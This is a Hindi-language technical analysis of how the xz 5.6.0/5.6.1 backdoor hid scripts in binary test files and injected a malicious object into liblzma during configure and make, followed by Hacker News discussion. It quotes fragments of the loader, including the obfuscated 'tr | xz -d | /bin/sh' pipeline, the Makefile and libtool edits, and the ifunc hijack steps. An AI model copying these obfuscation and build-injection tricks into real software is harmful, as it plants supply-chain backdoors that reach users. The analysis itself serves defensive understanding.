1 पॉइंट द्वारा GN⁺ 2024-04-03 | 1 टिप्पणियां | WhatsApp पर शेयर करें
  • xz अटैक configure चरण में shell code injection और make चरण में object file injection में बंटा है, और यह विश्लेषण xz 5.6.0·5.6.1 distribution tarball की scripts द्वारा backdoor object file को build में घुसाने की प्रक्रिया को trace करता है
  • दुर्भावनापूर्ण code और object file को tests/files की binary test input file की तरह compress और encrypt करके छिपाया गया था, और “हाथ से बनाई गई test file” वाली मौजूदा README व्याख्या ने इस disguise को आसान बना दिया
  • m4/build-to-host.m4 में जोड़े गए code ने bad-3-corrupt_lzma2.xz को खोजकर tr और xz -d से restore किया और फिर /bin/sh से execute किया; 5.6.1 में नई test file से अतिरिक्त script खोजने वाला extension mechanism भी शामिल था
  • configure script src/liblzma/Makefile और libtool को बदलकर make के दौरान भी छिपी हुई script को फिर से execute कराती है, और -z,now व PIC से जुड़े flags को adjust करके ifunc resolver को initial dynamic linking के समय execute होने देती है
  • make चरण में good-large_compressed.lzma से malicious object को extract और decrypt करने के बाद crc64_fast.c और crc32_fast.c के build outputs को बदल दिया जाता है, ताकि _get_cpuid के जरिए RSA_public_decrypt calls को intercept किया जा सके

अटैक की पूरी संरचना

  • Andres Freund ने 2024-03-29 को public oss-security@openwall mailing list पर xz अटैक के अस्तित्व की जानकारी दी
    • एक दिन पहले Debian security और private distros@openwall list को भी बताया था
    • इसकी वजह Debian sid installation में liblzma से जुड़े अजीब लक्षण थे, यानी SSH login के दौरान high CPU usage और Valgrind errors देखना
  • अटैक मोटे तौर पर दो चरणों से बना है
    • configure के दौरान shell code inject होता है
    • यह shell code make में फिर से shell code inject करता है, और make के दौरान malicious object file को build में जोड़ता है
  • अगर malicious object file को evil.o की तरह सीधे repository में डाल दिया जाता, तो शक होना आसान था; इसलिए attacker ने shell code और object file को binary test input file के अंदर compress और encrypt करके छिपाया
  • tests/files directory Jia Tan के आने से पहले से मौजूद थी, और README बताता है कि ये .xz, .lzma, .lz decoder implementations को test करने के लिए files हैं, जिनमें से कुछ hex editor से हाथ से बनाई गई हैं, इसलिए “file खुद से बेहतर source code नहीं है”
  • attacker ने इसी संदर्भ का फायदा उठाकर ऐसा दिखाया जैसे कुछ नई test files जोड़ी जा रही हों

Backdoor ने जिस execution point को निशाना बनाया

  • script का अंतिम असर यह है कि malicious object file का _get_cpuid function GNU indirect function(ifunc) resolver के हिस्से के रूप में call हो
  • ifunc resolver आम तौर पर program execution के दौरान lazy call हो सकता है, लेकिन security के लिए dynamic linking की शुरुआत में ही सभी को call करके GOT·PLT को read-only map करने का तरीका व्यापक रूप से इस्तेमाल होता है
  • malicious ifunc resolver उस शुरुआती समय पर execute हो सकता है जब GOT·PLT अभी writable होता है
  • backdoor table में RSA_public_decrypt को खोजकर attacker version से replace करता है
  • बदला हुआ function सही SSH certificate पेश किए जाने पर attacker code execute करता है

configure चरण: build-to-host.m4 का disguise

  • xz-utils GNU autoconf का इस्तेमाल करता है, और आम तौर पर configure व supporting m4 files source repository में नहीं बल्कि tarball distribution में शामिल होती हैं
  • अटैक xz 5.6.0 और xz 5.6.1 tarball में अप्रत्याशित support library m4/build-to-host.m4 जोड़ने से शुरू हुआ
  • malicious build-to-host.m4 में standard file की तुलना में दिखने में plausible बदलाव शामिल हैं
    • serial को 3 से 30 किया गया
    • copyright year को 2023 से 2023-2024 किया गया
    • समझने में कठिन shell·m4 बदलाव कुछ जोड़े गए
  • असली core grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ से distribution के अंदर एक खास pattern खोजने वाला code है
    • इस pattern से match होने वाली file ./tests/files/bad-3-corrupt_lzma2.xz है
    • नतीजतन gl_am_configmake इस test file की ओर इशारा करता है
  • gl_path_map को tr "\t \-_" " \t_\-" पर set किया जाता है, जो tabs·spaces और underscores·dashes को आपस में बदलता है

छिपी हुई पहली script को restore करना

  • gl_[$1]_prefix filename में आखिरी dot के बाद वाला हिस्सा extract करके xz बन जाता है
    • नाम prefix जैसा दिखता है, लेकिन असल में यह file extension है
    • यह compression command का नाम बन जाता है, जिसके build machine पर पहले से installed होने की संभावना ज्यादा होती है
  • इसके बाद बनने वाली command string ऊपर से sed "r\n" इस्तेमाल करती दिखती है, लेकिन वास्तव में यह obfuscated cat के करीब है
    • sed का r\n command मौजूद न होने वाली file \n को पढ़ने की कोशिश करता है, इसलिए कुछ नहीं होता
    • -n नहीं है, इसलिए input जस का तस output होता है
  • वास्तव में execute होने वाली command इस तरह की है
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • यह command AC_CONFIG_COMMANDS के जरिए config.status execution process के दौरान evaluate होती है
  • restored output में ####Hello#### और ####World#### दिखते हैं, और README के अनुसार bad-3-corrupt_lzma2.xz की पहली और तीसरी streams valid xz streams हैं, जबकि बीच वाली stream में ही LZMA2 data corrupted है

5.6.0 और 5.6.1 का अंतर

  • xz 5.6.0 में restored पहली script good-large_compressed.lzma से एक खास byte range काटकर और transform करके raw LZMA stream के रूप में decompress करती है और /bin/sh को pass करती है
  • xz 5.6.1 की पहली script में Linux न होने पर exit करने वाली line पांच बार शामिल है
    • [ ! $(uname) = "Linux" ] && exit 0
    • बाद में analysis target बनने वाली लंबी script के अंदर भी 5.6.1-only Linux check line है
    • उस line में = के आसपास spaces न होने से यह काम न करने वाला bug है
  • 5.6.1 में head के last byte count, tail offset, और tr arguments 5.6.0 से अलग हैं
    • example में 5.6.1 16×2048+939 = 33,707 bytes extract करता है
    • इसके बाद tail -c +31233 से last 31,233 bytes इस्तेमाल करता है
  • extraction pipeline इन steps से बनी है
    • xz -dc से good-large_compressed.lzma को decompress करना
    • head pipeline से specific byte range extract करना
    • tail से बाद वाला हिस्सा चुनना
    • tr से simple substitution cipher लगाना
    • xz -F raw --lzma1 -dc से raw LZMA stream decompress करना
    • result को /bin/sh से execute करना

5.6.1 का extension mechanism

  • लंबी script में unset variables को eval करने वाली कई जगहें हैं
    • उदाहरण: eval $zrKcVq, eval $zrKcSS
    • ये debug output के लिए हो सकती हैं, या भविष्य में किसी और mechanism से values set करने वाले extension points हो सकते हैं
  • अगर config.status है, तो script LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map आदि पढ़ती है
  • 5.6.1 में नया आया extension code tests/files में दो magic strings खोजता है
    • start string: ~!:_ W
    • end string: |_!{ -
  • अगर दोनों strings एक ही file में हों, तो उनके बीच के bytes extract किए जाते हैं, tr और raw LZMA2 decompression के बाद output को eval किया जाता है
  • यह mechanism ऐसा लगता है कि बाद में मौजूदा binary test file को फिर से generate करने का कारण बनाए बिना किसी दूसरी test file में नई script डालने की structure है

configure चरण की execution conditions

  • अगर backdoor के लिए जरूरी conditions पूरी नहीं होतीं, तो script चुपचाप exit कर जाती है
  • GNU ifunc support enabled होना चाहिए
    • config.status में ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" होना चाहिए
    • config.h में define HAVE_FUNC_ATTRIBUTE_IFUNC 1 होना चाहिए
  • shared library build on होना चाहिए
    • enable_shared yes होना चाहिए
  • build target x86-64 Linux होना चाहिए
    • build को ^x86_64 और linux-gnu$ conditions satisfy करनी चाहिए
  • CRC ifunc से जुड़े sources जस के तस होने चाहिए
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • compiler और linker conditions भी check होती हैं
    • GCC=yes
    • CC=gcc
    • LD -v output में GNU ld शामिल हो
  • backdoor वाली test files good-large_compressed.lzma और bad-3-corrupt_lzma2.xz मौजूद होनी चाहिए

Makefile और libtool में बदलाव

  • अगर debian/rules है या RPM_ARCH=x86_64 है, तो configure चरण में src/liblzma/Makefile को modify करने वाला code execute होता है
  • पहले यह check करता है कि Makefile में बाद में insertion points के रूप में इस्तेमाल होने वाली कई lines मौजूद हैं या नहीं
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • libtool में pic_flag=" -fPIC -DPIC" है या नहीं, यह check किया जाता है
  • इसके बाद sed -i से Makefile में जगह-जगह इस तरह की lines बिखेर दी जाती हैं
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir नाम से directory जैसा दिखता है, लेकिन वास्तव में file की ओर इशारा करता है
  • जोड़ी गई lines एक जगह इकट्ठी नहीं हैं, बल्कि Makefile में जगह-जगह insert की गई हैं, ताकि generated Makefile देखने में plausible रूप से complex लगे

Linker flags और recursive execution

  • configure चरण की script liblzma_la_LDFLAGS में -Wl,--sort-section=name,-X जोड़ती है
  • अगर मौजूदा LDFLAGS में -z,now या -z -Wl,now नहीं है, तो -z,now भी जोड़ती है
  • -Wl,now dynamic loader को program startup पर सभी symbols resolve करने को मजबूर करता है, जिससे LD_BIND_NOW behavior enforce होता है
    • इस process में ifunc resolver startup पर execute होता है
    • backdoor उस समय execute हो सकता है जब GOT·PLT अभी writable होता है
  • libtool के PIC flags इस तरह बदलते हैं
    • पहले: -fPIC -DPIC
    • बदला हुआ: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • script AM_V_CCLD और एक लंबा shell fragment भी Makefile में जोड़ती है
    • अंत में sed rpath $(am__test_dir) | $(am__dist_setup) execute होता है
    • sed rpath भी obfuscated cat की भूमिका निभाता है
  • नतीजतन make के दौरान इस तरह की pipeline फिर execute होती है
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

make चरण: object file extraction

  • make चरण में script src/liblzma directory से फिर execute होती है
  • current directory में config.status नहीं होता, इसलिए configure चरण वाला Makefile editing part skip हो जाता है
  • इसके बजाय अगर .libs/liblzma_la-crc64_fast.o और .libs/liblzma_la-crc32_fast.o हैं, तो यह मानकर कि make चल रहा है, आगे का code execute होता है
  • 5.6.1 में make चरण के लिए extension hook भी नया जोड़ा गया है
    • start string: jV!.^%
    • end string: %.R.1Z
    • इन strings वाली कोई test file नहीं है, और यह future extension के लिए structure लगता है
  • CRC ifunc से जुड़े sources expected रूप में हैं या नहीं, यह फिर check होता है
  • configure चरण में जोड़े गए compile·linker flags लागू हुए हैं या नहीं, यह भी check होता है
    • ../../libtool में additional PIC flags होने चाहिए
    • liblzma_la_LINK में -z,now या -z -Wl,now होना चाहिए
    • अगर lazy मौजूद है, तो exit करता है

Malicious object का decryption और selection

  • script gettext.m4 content के अनुसार दो offset values में से एक चुनती है
    • distributed xz tarball के gettext.m4 में check string नहीं है, इसलिए example build में पूरा input लिया जाता है
  • good-large_compressed.lzma को फिर decompress करके पहले set की गई head pipeline i से 33,707 bytes extract किए जाते हैं
  • उस output को byte-wise split करने के बाद awk से RC4 जैसी decryption function execute की जाती है
    • 5.6.1 version में दूसरा loop 8192 तक repeat होता है
    • 5.6.0 version में उसी जगह वाला loop 4096 तक repeat होता है
  • decrypted output को xz -dc --single-stream से फिर decompress किया जाता है
    • --single-stream पहले xz EOF marker पर रोक देता है, ताकि पहले tail से निकाले गए हिस्से को न पढ़ा जाए
  • final result liblzma_la-crc64-fast.o में लिखा जाता है

CRC object replacement

  • script वास्तविक build output .libs/liblzma_la-crc64_fast.o को मिलते-जुलते नाम .libs/liblzma_la-crc64-fast.o में backup करती है
    • underscore (crc64_fast) और hyphen (crc64-fast) के अंतर का इस्तेमाल होता है
  • फिर crc64_fast.c को sed से modify किए गए content को compile किया जाता है, और extracted malicious object liblzma_la-crc64-fast.o को साथ input में देकर .libs/liblzma_la-crc64_fast.o को overwrite किया जाता है
  • inserted C code _is_arch_extension_supported को नया बनाता है, और अंदर _get_cpuid call करता है
  • मौजूदा crc64_resolve को is_arch_extension_supported() की जगह _is_arch_extension_supported() call करने के लिए बदल दिया जाता है
  • _get_cpuid backdoor object file द्वारा provide किया गया function है, और cpuid info return करने से पहले extra behavior perform करता है
    • खास तौर पर GOT·PLT को बदलकर RSA_public_decrypt calls को intercept करता है

crc32 side की processing और cleanup

  • crc64 modification सफल होने पर script crc32_fast.c पर भी मिलती-जुलती modification apply करती है
  • crc32 side में backdoor object file नहीं जोड़ी जाती
    • ताकि backdoor object को build में दो बार न डाला जाए
  • यह साफ नहीं है कि crc32 और crc64 ifunc, दोनों को क्यों intercept किया गया
    • analysis के अनुसार इनमें से एक ही काफी लगता है
    • संभव है कि debugger में दोनों dispatch code समान दिखें, ऐसा करने की कोशिश की गई हो
  • दोनों compilation सफल होने पर liblzma_la_LINK से .la file को फिर link किया जाता है
  • link सफल हो लेकिन .libs/liblzma.so न हो, तो इसे failure माना जाता है और backup restore होता है
  • सफलता या विफलता से अलग, .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* delete किए जाते हैं
    • यह मानकर कि बाद में Makefile का original link step इन्हें फिर generate करेगा
  • failure path में backed-up crc32·crc64 objects को उनके original names में वापस कर दिया जाता है
  • अंत में temporary·backup files delete की जाती हैं, ताकि make outputs में malicious object inject हो जाए और traces न बचें

1 टिप्पणियां

 
GN⁺ 2024-04-03
Hacker News की राय
  • लंबे समय से autotools को नापसंद करने वाले के तौर पर मैं कहना चाहूंगा कि यह घटना मेरे रुख को सही ठहराती है, लेकिन जो भी build system कई platforms को support करने जितना जटिल हो, वह इतना अबूझ हो ही सकता है कि कोई उसमें ऐसी चीज़ घुसा दे
    फिर भी यह सचमुच समस्या है कि बहुत-सा software असल में विशाल cargo-cult style shell scripts से build होता है, जिन्हें पूरा-पूरा लगभग कोई नहीं समझता

    • मुझे लगता है कि मूल कारण bash और जटिल, घनी syntax वाली भाषाओं का आम इस्तेमाल है
      अगर build scripts Python में लिखी गई होतीं, तो backdoor को obfuscate करना कहीं ज़्यादा मुश्किल होता। क्योंकि अजीब code सबको दिख जाता। bash code पढ़ा न जा सके, तब भी उसे सामान्य मान लेने की प्रवृत्ति होती है
    • autotools की आलोचना समझ में आती है, और configure scripts maintain करने वालों से मुझे कभी ईर्ष्या नहीं हुई, लेकिन user के तौर पर वह दौर याद आता है जब लगभग हर software install ./configure && make && make install से खत्म हो जाता था
    • autotools को हट जाना चाहिए, लेकिन build system की complexity पैदा करने वाले ज़्यादातर मूल use cases अंततः dependency management और detection तक ही आते हैं
      उस flow के लिए best practices की पूरी कमी ही complexity की जड़ है, इसलिए ऐसी परिस्थितियों में mybuild.toml जैसी एक build setting से समाधान नहीं हो सकता
    • सहमत हूं, और आखिरकार इतने व्यापक platform coverage को support करने की कोशिश में complex systems की जरूरत पड़ती है, और इसी वजह से सवाल उठता है कि हम कितना बड़ा जोखिम उठा रहे हैं
      और यह भी सवाल है कि compression library जैसी चीज़ को build करने के लिए, जिसे मूल रूप से बस गणित और memory allocation जैसा काम करना होता है, complex system की जरूरत क्यों पड़ती है
    • मेरा भी यही विचार है। इस पूरी घटना का दोष m4 पर मढ़ने का प्रलोभन बड़ा है, लेकिन वह शायद trauma बोल रहा है
  • एक developer के तौर पर यह चौंकाने वाला है, और मेरी नजर में जो top-tier attack method जैसा दिखता है, वह भी इस स्तर पर काम करने वालों के लिए शायद शुरुआती-मध्यम स्तर की कठिनाई हो सकती है
    HN पर आने वाली चीज़ों में इससे कहीं अधिक advanced चीज़ें भी होती हैं, इसलिए पर्याप्त पैसा या कोई और incentive हो तो क्या संभव है, यह बस शुरुआत है। GitHub के अनगिनत packages और लाखों libraries को देखते हुए यह vector इतना प्रभावी है कि मुझे यकीन है आने वाले कुछ महीनों में ऐसे सैकड़ों मामले सामने आएंगे
    Philips Hue से लेकर Alexa, SumUp, camera manufacturers, Netgear, TP-Link तक consumer/prosumer hardware कंपनियों को लेकर चिंता है। Products के अंदर open-source libraries भरी होती हैं, और मुझे 100% यकीन है कि अधिकांश dev teams ऐसे गुप्त injection vectors खोजने में समय नहीं लगातीं

    • “अधिकांश dev teams ऐसे गुप्त injection vectors खोजने में समय नहीं लगातीं” वाला तर्क समझना मुश्किल है, और लगता है कि dependency hell की आलोचना करने वाला पक्ष इस scenario से open-source maintainers को और खराब दिखाना चाहता है
      अगर कोई commercial organization reliability का दावा करती है, तो dependency अपनाने से पहले supply chain analysis करती है। इसलिए आम तौर पर stable Linux distribution maintain रखने के लिए Red Hat को पैसे दिए जाते हैं, और FreeBSD जैसे projects base install में शामिल software को कड़ाई से सीमित रखते हैं
      अगर इस घटना से आप प्रभावित हुए हैं तो अफसोस है, लेकिन वह आपकी जिम्मेदारी है। अगर आप इस बात से चिंतित हैं कि free-as-in-beer software developer अचानक बदल सकता है, तो उसे ऐसा न करने का incentive दें, यानी पैसा दें, या project को fork करके अपनी security measures जोड़ें
      अगर commercial software की dependencies में supply chain attack होने की चिंता है, तो ऐसे नुकसान की भरपाई शामिल करने वाला contract negotiate करना चाहिए। अगर ऐसा करने की इच्छा नहीं है तो यह professional नहीं है
      और जोड़ दूं, मैं गंभीरता से कह रहा हूं कि SSH जैसी सबसे बुनियादी dependency की भी supply chain जांचनी चाहिए
    • बल्कि उलटा है। हमसे ज्यादा जानने वाले developers और maintainers ने इस घटना को बेहद sophisticated attack बताया है
      शुरुआती infosec लेख भी code के केवल कुछ हिस्से समझा पाए थे, attack की पूरी strategy तक नहीं पहुंचे थे। क्योंकि attack और code sophisticated थे। शुरुआती analyses ने attack को अलग-अलग तरीके से इसलिए समझाया क्योंकि इसे समझना सरल नहीं था, और बाद में जाकर “आखिरकार यह remote code execution attack लगता है” जैसी posts आईं
      अब servers पर vulnerability detect करने वाले scanners भी आ गए हैं, इसलिए हर कोई कह सकता है, “अरे, वह तो बहुत simple और बेवकूफाना attack था, हम पहले क्यों नहीं पकड़ पाए?”
    • इसलिए मैं इसे फायदा नहीं मानता कि TP-Link router firmware को OpenWRT पर आधारित बनाता है। मैं अपने device पर pure upstream project या design से upstream को track करने वाली कोई चीज़ चलती देखना चाहता हूं
      यह सभी devices पर समान रूप से लागू होता है। मुझे Android का पुराने kernel का इस्तेमाल करना भी पसंद नहीं, और macOS का पुराने Darwin/BSD family को चलाना भी अच्छा नहीं लगता था। backporting में लगने वाली मेहनत की चिंता होती है
      बेशक इसका मतलब यह नहीं कि open source में vulnerabilities नहीं होतीं
    • कोई भी कुछ हद तक सही ढंग से चलने वाली organization dependencies में security issue आने पर updates पाने का mechanism रखती है। Industry के हिसाब से PCI जैसे regulators या certification bodies भी इसकी मांग कर सकते हैं
      उलटे हमें शायद proprietary software के अंदर के अदृश्य backdoors से ज़्यादा डरना चाहिए, जिन्हें शायद ही कभी खोजा जा सके
  • लगता है Thomas Roccia का infographic अभी यहां mention नहीं हुआ है: https://twitter.com/fr0gger_/status/1774342248437813525

    • इसका काफी हिस्सा बिना ठोस आधार के clues को जबरन जोड़ने जैसा लगता है
      उदाहरण के लिए oss-fuzz GitHub repository को सीधे clone करके xz build कर रहा था। backdoor repository में नहीं, सिर्फ tarball में था, इसलिए oss-fuzz के backdoor खोजने की संभावना नहीं थी। इसलिए वह oss-fuzz PR backdoor से असंबंधित वास्तविक change भी हो सकता है
    • Jia Tan ने public disclosure से ठीक पहले distributions से तेज update करने का अनुरोध किया था
      Andreas Freund के आसपास कोई और account या व्यक्ति, जिसे backdoor public होने की बात पहले पता चल गई हो, इसकी कितनी संभावना है? अभी भी आसपास कोई दूसरा insider होने की संभावना के बारे में सोचने पर मजबूर करता है
    • यह material exploit को liblzma में plant किए जाने की प्रक्रिया को high level पर कुछ हद तक दिखाता है, लेकिन exploit कैसे काम करता है या उसका content क्या है, इस पर बिल्कुल बात नहीं करता
    • timeline देखें तो attack .gitignore file में ignored items जोड़ने से शुरू होता है। आजकल ऐसी चीज़ detect करना मुश्किल है
  • एक भोले-भाले दर्शक के नज़रिए से जो हिस्सा सबसे ज़्यादा ध्यान खींचता है, वह यह है
    “कई फाइलें hex editor से हाथ से बनाई गई थीं, इसलिए उन फाइलों से बेहतर कोई ‘source code’ नहीं है।” liblzma जैसी parsing library में ऐसा हो सकता है, यह बात समझ आती है। हमलावर शायद बस कुछ नए test files जोड़ता हुआ दिखा होगा
    फाइल खुद डरावनी जरूर है, लेकिन वजह समझ आती है। फिर भी कम-से-कम build से इसे अलग नहीं रखा जा सकता था क्या
    “आम तौर पर configure scripts और support libraries source repository में नहीं, बल्कि सिर्फ tarball distribution में जोड़ी जाती हैं। xz का distribution भी ऐसा ही है।”
    autotools पर होने वाले रस्मी गुस्से को अलग रखें, तो समझ नहीं आता कि tarball में test files क्यों होनी चाहिए। malicious tests developer machine को infect कर सकते हैं, लेकिन अगर tarball final artifact build करने के लिए है, तो policy यही होनी चाहिए कि उसमें सिर्फ जरूरी चीजें शामिल हों। खासकर तब, जब test file audit न की जा सकने वाली binary blob हो

    • build के बाद किसी खास environment में दिक्कत तो नहीं है, यह जांचने के लिए CI में tests चलाना काफी आम है
      हालांकि जब हमने आखिरी बार ऐसा किया था, तो हमने upstream Git को प्राथमिकता दी थी और जरूरी autoconf artifacts खुद generate किए थे। Git में मौजूद न होने वाली सामग्री वाले release tarball का concept मुझे हमेशा पसंद नहीं आया
    • generated autoconf code कुछ हद तक शामिल हो, तब भी वे अब भी source tarball ही हैं
      target machine पर code compile करने के बाद tests run कर पाना चाहिए
    • target पर compile हुआ program सही तरह काम करता है या नहीं, यह verify करने के अलावा, profile-based optimization के साथ compile करने के लिए optimize करने लायक execution examples चाहिए होते हैं, इसलिए tests जरूरी हैं
  • “पहला अंतर यह है कि script यह सुनिश्चित करती है कि अगर वह Linux पर नहीं चल रही है, तो वह जरूर, पूरी निश्चितता के साथ exit हो जाए।”
    बार-बार की checks सचमुच एक mystery हैं। मेरा अनुमान है कि हमलावर ने repetition इसलिए डाला होगा ताकि यह compression library के test input जैसा plausible लगे

    • script में बदलाव के लिए जगह बनाने का मकसद हो सकता है। क्योंकि script के शुरुआती bytes overwrite किए जा सकते हैं
      या फिर यह सिर्फ आलस भी हो सकता है
    • मुझे भी यह अजीब लगा। script की शुरुआत में अलग-अलग random bytes भी लगे हैं, और वे text नहीं बल्कि सचमुच random bytes हैं। हालांकि उनके आगे hash sign है, इसलिए वे comment हो जाते हैं और script पर असर नहीं डालते
      यह intentional लगता है, लेकिन क्यों है यह नहीं पता। मैंने सोचा था कि शायद xz input बहुत छोटा या complex न होने पर compression skip करता होगा, इसलिए size भरने के लिए जोड़ा गया होगा; लेकिन हटाने के बाद xz से फिर compress करने पर भी सही से compress हुआ और original plaintext compressed archive bytes में नहीं बचा
      Git में commit की गई .xz file के exact bytes reproduce करने की कोशिश करते हुए जो बात पता चली, वह यह थी कि उस script का xz stream default xz preset से compressed नहीं लगता। xz --lzma2=dict=65536 -c stream_2 इस्तेमाल करने पर ही reproduce कर सका, और default numbered presets सभी ने अलग dictionary size चुना। यह भी intentional लगता है, लेकिन वजह समझ नहीं आई
    • शायद compressed test file के किसी हिस्से को बड़ा करने या obfuscate करने का मकसद हो सकता है
      repetition न होता तो compressed file के अंदर कोई अजीब binary बन गई होती, जो security tools या antivirus को trigger कर देती
    • क्या यह सचमुच mystery है? हमलावर ने शायद Linux x86 target को ध्यान में रखा था, और IFUNC support दूसरे platforms पर काम करे इसकी guarantee नहीं है
    • Linux के अलावा कहीं और run होने पर operating system differences की वजह से crash हो सकता था या निशान छोड़कर पकड़ा जा सकता था
  • यह tragically funny है कि modern technology बेहद complex और बेवजह inscrutable हो गई है, और यह लगातार बदतर हो रहा है। लगता है developers इसे sadistically enjoy करते हैं

    • यह शायद सबसे खराब interpretation है
      हम जो products बनाते हैं उनकी complexity बढ़ने के साथ tools का साथ निभाना काफी amazing है। ईमानदारी से कहूं तो ज्यादातर मामलों में चीजें बस ज्यादा simple हो रही हैं, और बात इसके ज्यादा करीब है कि लोग नई चीजें सीखना नहीं चाहते
  • इस प्रोजेक्ट में घुसपैठ कराने के लिए इन लोगों को रखने वाले किसी व्यक्ति ने शायद बहुत लंबा समय लगाया होगा ताकि यह लंबे समय तक detection से बचा रहे। अच्छी बात यह रही कि यह इतना जटिल था कि वे सभी पहलुओं को ध्यान में नहीं रख पाए
    इसलिए सुरक्षा के लिहाज़ से मुझे लगता है कि open source हमेशा closed source से बेहतर रहेगा। बेशक इस घटना ने supply chain की एक बड़ी खामी उजागर की, और यह भी दिखाया कि FOSS के बुनियादी घटकों को कितना कम आंका जाता है, जिससे maintainers manipulation के प्रति vulnerable हो जाते हैं
    लेकिन अगर वही हमला किसी private company के अंदर हुआ होता तो? शायद advanced obfuscation तक की ज़रूरत नहीं पड़ती। पर्याप्त बड़ा PR और नज़दीक आती deadline हो तो न्यूनतम मेहनत से production systems में ऐसी चीज़ चुपके से डाली जा सकती है। कंपनी को समझ आते-आते कि क्या हुआ है, तब तक आप ऐसे देश उड़ चुके होंगे जहाँ extradition treaty नहीं है, और Tor या dark web पर leaked data बेच रहे होंगे

    • मुझे लगता है इसमें survivorship bias है। इसी तरह की कोशिशों में कितनी सफल हुईं, यह हमें कैसे पता चलेगा? जो पकड़ी गईं, उनमें से कितनी को बस साधारण गलती मानकर छोड़ दिया गया होगा? मसलन, हम कैसे यकीन से कह सकते हैं कि Heartbleed किसी ने जानबूझकर नहीं डाला था, और वह व्यक्ति अब बेहद अमीर नहीं हो गया है
      अगर आप किसी private company में hire होते हैं, तो कंपनी जानती है कि आप कौन हैं। यह अपने-आप में संदिग्ध हरकतों को रोकने वाला तुरंत deterrent है। GitHub पर किसी को नहीं पता कि आप कौन हैं। बिना पकड़े किसी project में backdoor डालना शायद ज्यादा कठिन हो, लेकिन पकड़े जाने पर भी कोई जोखिम नहीं उठाना पड़ता। आप जितनी बार चाहें कोशिश करते रह सकते हैं। Jia Tan अभी भी पकड़ा नहीं गया है, और उसे अपनी पूरी ज़िंदगी ऐसे देश में रहने के हिसाब से design करने की ज़रूरत भी नहीं पड़ी जहाँ extradition treaty न हो। जब तक कि वह पहले से ही ऐसी जगह पर न हो
    • सहमत होना मुश्किल है। ज्यादातर private companies joining के समय in-person meeting मांगेंगी। पूरी तरह remote होने पर भी यह अपेक्षा रहती है कि कभी न कभी आप colleagues से असल में मिलेंगे, और आम तौर पर meaningful commits करने से पहले ही। जिस company में घुसपैठ करना worth it हो, वह लगभग निश्चित रूप से background check मांगेगी
      और अंदर आ जाने के बाद भी आप target project में मनमर्जी से commit नहीं कर सकते। manager और उनके ऊपर के manager की दूसरी priorities होती हैं। for-profit companies का अक्सर dysfunctional management यहाँ उल्टा deterrent की तरह काम करता है। आपको सिर्फ code को justify नहीं करना होता, बल्कि यह भी समझाना होता है कि आप शुरू में वह काम कर ही क्यों रहे थे
    • थोड़ा topic से हटकर, लेकिन आजकल US के हिसाब से सच में ऐसे बिना extradition treaty वाले देश कितने रह गए हैं
      जिन देशों से रिश्ते खराब हैं, वे भी अगर politically convenient हो तो किसी negotiation के हिस्से के रूप में extradite कर सकते हैं। रूस ने भी शायद Snowden को रोके नहीं रखा होता अगर उसने national secrets expose न किए होते। अगर वह सिर्फ सामान्य data leak होता, तो शायद किसी और जगह money laundering में पकड़े गए oligarch के साथ prisoner exchange कर दिया जाता
    • छोटे और अपेक्षाकृत harmless दिखने वाले, लेकिन लगभग हर जगह इस्तेमाल होने वाले projects की जांच करना एक दिलचस्प class project हो सकता है—कि क्या उन्हें भी इसी तरीके से target किया जा सकता है, या क्या पहले से कुछ ऐसा हुआ है
      सिर्फ ऐसी सूची बनाना भी उपयोगी होगा
  • इस घटना से मिला सबक यह है कि शायद महत्वपूर्ण open source projects के core contributors को anonymity की अनुमति नहीं दी जानी चाहिए। यह हमला सफल रहा और attacker शायद बिना किसी कीमत के निकल जाएगा, क्योंकि वह anonymous था

    • असहमत
      ऐसा कदम मददगार नहीं होगा, और state actors या वैसी ही advanced persistent threats के लिए attack chain में identity theft का एक और step जोड़ना, या ऐसा operative इस्तेमाल करना जिसे backdoor पकड़े जाने पर भी बचाया जा सके, आसान workaround होगा
      दूसरी ओर, ऐसी प्रक्रिया के लिए जरूरी technical barriers पूरी open source community को बहुत नुकसान पहुंचा सकते हैं
      यहाँ समाधान यह है कि इस हमले से सीखकर practices बदलें ताकि ऐसे हमले कठिन हो जाएं। repository में न मौजूद files को release tarball में कभी नहीं डालना चाहिए। उससे generate हुआ सारा code check in होना चाहिए, और build scripts को derived code फिर से generate करके अगर वह checked-in code से अलग हो तो fail होना चाहिए। समझने में मुश्किल data को release build process में access नहीं मिलना चाहिए, और binary data पर निर्भर tests को release binaries से पूरी तरह अलग build करना चाहिए
    • दो समस्याएँ हैं
      पहली, खासकर security क्षेत्र में कई महत्वपूर्ण contributors जायज़ वजहों से pseudonymous काम करना पसंद करते हैं। identity disclose करने को मजबूर करेंगे तो आप उन्हें दूर कर देंगे
      दूसरी, जैसा कई लोग अनुमान लगा रहे हैं, अगर इसके पीछे intelligence agency है, तो ऐसी agency वैसे भी “real” identity बना सकती है। नतीजा यह होगा कि मददगार लोगों को बाहर कर देंगे, लेकिन attackers को नहीं रोक पाएंगे
    • इसे लागू करना असंभव ही नहीं, शायद अच्छा विचार भी नहीं है। क्योंकि महत्वपूर्ण open source project maintainers की identity पता होने पर उन पर दबाव डालना आसान हो जाता है
    • अगर यह state actor है, और सच में ऐसा ही लगता है, तो आप कौन-सा verification कर सकते हैं? driving license, social security number, national ID, passport—वे किसी भी तरह के legitimate documents बना सकते होंगे
      अगर government involved है तो कोई सीमा नहीं है। एकमात्र तरीका है किसी trusted place पर physical presence मांगना, और फिर बस उम्मीद करना कि वह जगह attacker के jurisdiction में न हो
    • क्या और कौन किसी चीज़ को महत्वपूर्ण project घोषित करेगा
